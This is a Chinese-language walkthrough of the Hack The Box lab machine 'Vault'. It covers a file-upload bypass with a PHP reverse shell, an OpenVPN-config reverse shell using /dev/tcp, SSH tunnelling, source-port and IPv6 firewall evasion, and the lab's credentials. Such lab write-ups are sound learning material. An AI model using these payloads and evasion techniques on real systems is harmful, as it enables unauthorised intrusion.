【HTB系列】靶機Vault的滲透測試詳解
- 2019 年 10 月 7 日
- 筆記
Kali: 10.10.14.213
靶機地址:10.10.10.109
先用nmap探測靶機
nmap -sC -sT -sV 10.10.10.109 |
---|
掃描結果如下:

看看80埠有什麼東西

我們用gobuster進行探測下
gobuster -u http://10.10.10.109 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php -o gobuster-sparklays -t 100 |
---|
掃了很久沒有掃出什麼東西
後來注意到這句話
We are proud to announce our first client: Sparklays (Sparklays.com still under construction)
嘗試在Url後面加上/sparklay
~# gobuster -u http://10.10.10.109/sparklays -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php -t 100 -o gobuster-sparklays |
---|

我們打開login.php

打開下admin.php

嘗試過繞過以及常見帳戶密碼
奇怪的是發現提交的帳戶密碼竟然是用GET方式,覺得很奇怪試著攔截登陸的數據包並放到sqlmap跑跑看,發現並沒有注入點
sqlmap -r sparklays-admin-login.req –batch |
---|

我們在打開design

是Forbidden,那麼這個目錄下我們在gobuster下
gobuster -u http://10.10.10.109/sparklays/design -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php -t 100 -o gobuster-sparklays-design |
---|

打開upload.php

打開design.html看看

點【Change Logo】

我們寫一個反彈的shell進行上傳
<?phpsystem('r, /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.213 1337 >/tmp/f');?> |
---|
被拒絕上傳了

我們來FUZZ下運行上傳的後綴名看看能不能通過後綴名進行繞過
這裡我用到這個字典:
https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/web-extensions.txt

這裡我用burp的intruder模組進行fuzz

發現php5是上傳成功的,我們把shell改成shell.php5再次上傳

然後我們kali 開啟監聽1337埠

我們在訪問
http://10.10.10.109/sparklays/design/uploads/shell.php5
然後就會得到一個shell

發現有2個用戶

我在dave的Desktop目錄下面看到一個ssh文件

Cat下得到一下內容

dave:Dav3therav3123
那麼我們通過ssh連接到靶機上

我們在看看dave桌面上的其他文件

第一個key還不知道是什麼意思就先留著。
第二個Servers應該是對應伺服器的IP以及該伺服器是什麼
我們現在對DNS伺服器進行掃描看看,但是靶機上面沒有nmap 但是我們可以用nc當作埠掃描器


我們可以看到192.168.122.4開放了22和80埠。由於是內網的環境我們是無法訪問到192.168.122.4的,所以我們需要做一個隧道把192.168.122.4的80埠映射到我們本地的1234埠
ssh -L 1234:192.168.122.4:80 [email protected] |
---|


點擊【Click here to modify your DNS Settings】

發現是Not Found
點擊【Click here to test your VPN Configuration】

打開後是一個VPN配置資訊,並允許我們測試我們的VPN
這裡我找一遍關於如何用ovpn配置文件反彈shell的教程
https://medium.com/tenable-techblog/reverse-shell-from-an-openvpn-configuration-file-73fd8b1d38da
我們找下靶機的內網IP地址

讓靶機監聽9002埠

remote 192.168.122.1 nobind dev tun script-security 2 up "/bin/bash -c '/bin/bash -i > /dev/tcp/192.168.122.1/9002 0<&1 2>&1&'" |
---|

先點【Update file】然後再點【Test VPN】
就會得到一個shell

得到userflag

接下來是獲取root flag
我們在dave的目錄裡面找到一個ssh憑藉

dave:dav3gerous567
我們直接通過ssh連接DNS伺服器

我們嘗試sudo -i切換為root,

但是目錄裡面沒有我們想要的rootflag

之前我們注意到在dave的機器上有三台伺服器,但是最後的The vault 是沒有給出IP地址的,root flag可能就在那台機器上,所以我們需要去找線索

我們在DNS的hosts文件中找到了The vault的IP地址

但是DNS伺服器是無法ping通的

但是DNS確實存在192.168.5.2的路由,猜測應該是禁止ping

後來發現DNS存在nmap 我們用nmap來進行埠探測
-Pn:表示默認主機在線,跳過主機發現
-v:顯示詳細資訊
-n:不進行DNS解析

發現2個埠都被closed,可能是真的關閉,但是也有可能是防火牆的原因
我們嘗試使用nmap 的 –source-port參數
每個TCP數據包帶有源埠號。默認情況下Nmap會隨機選擇一個可用的傳出源埠來探測目標。該–source-port選項將強制Nmap使用指定的埠作為源埠。這種技術是利用了防火牆盲目地接受基於特定埠號的傳入流量的弱點。埠21(FTP),埠53(DNS)和67(DHCP)是這種掃描類型的常見埠。 |
---|

發現一個987埠,我們用nc從本地的53埠進行連接

是openssh服務
對於這種防火牆我們可以嘗試使用IPV6的規則繞過
先查看DNS伺服器是否支援IPV6

FF02::1指所有開啟了IPv6組播的主機,和IGMP中的224.0.0.1對應
說明DNS伺服器支援IPV6
我們在查找下DNS伺服器的的 鄰居

再看下DNS的路由和ip資訊


我們可以看到192.168.5.0/24的流量都要通過ens3到192.168.122.5去
在192.168.155.5是防火牆的地址

我們在看DNS的鄰居,發現還有3條IPV6,說明vault的IPV6應該在裡面
我們在查看arp

192.168.122.5對應的ipv6是fe80::5054:ff:fe3a:3bd5
下面這2條ipv6的地址就是 valut和firewall的
fe80::5054:ff:fec6:7066
fe80::5054:ff:fee1:7441
我們直接用nmap進行埠掃描,如果防火牆沒有配置ipv6的規則的話如是valut的地址就會出現之前的987埠

這樣我們就確定了fe80::5054:ff:fec6:7066是vault的IPV6地址,並且防火牆規則並沒有阻攔ipv6的地址,同時我們的DNS伺服器可以直接通過ipv6繞過防火牆跟vault進行通訊
那麼我們直接ssh進行連接

密碼跟之前的一樣:dav3gerous567



我們可以看到這個pgp的ID為D1EB1F03
我們看下vault系統是否存在密鑰,不存在

但是我們在dave@ubuntu上找到了

所以我們需要把文件發送到dave@ubuntu進行解密
我們退回到dave@DNS上,利用scp將文件拷貝出來
scp -P 987 dave@[fe80::5054:ff:fec6:7066%ens3]:root* . |
---|
輸入密碼:dav3gerous567


然後我們需要在把這個文件傳送到dave@ubuntu上面
我們在ubuntu上面執行

然後在DNS上把文件傳輸過來

這樣文件就到了Ubuntu上面了

我們用md5sum來校驗下文件的完整性


文件正常傳輸的
我們用gpg 解密下root.txt.gpg

要求我們輸入密碼
密碼就是我們之前找到的key

得到root flag
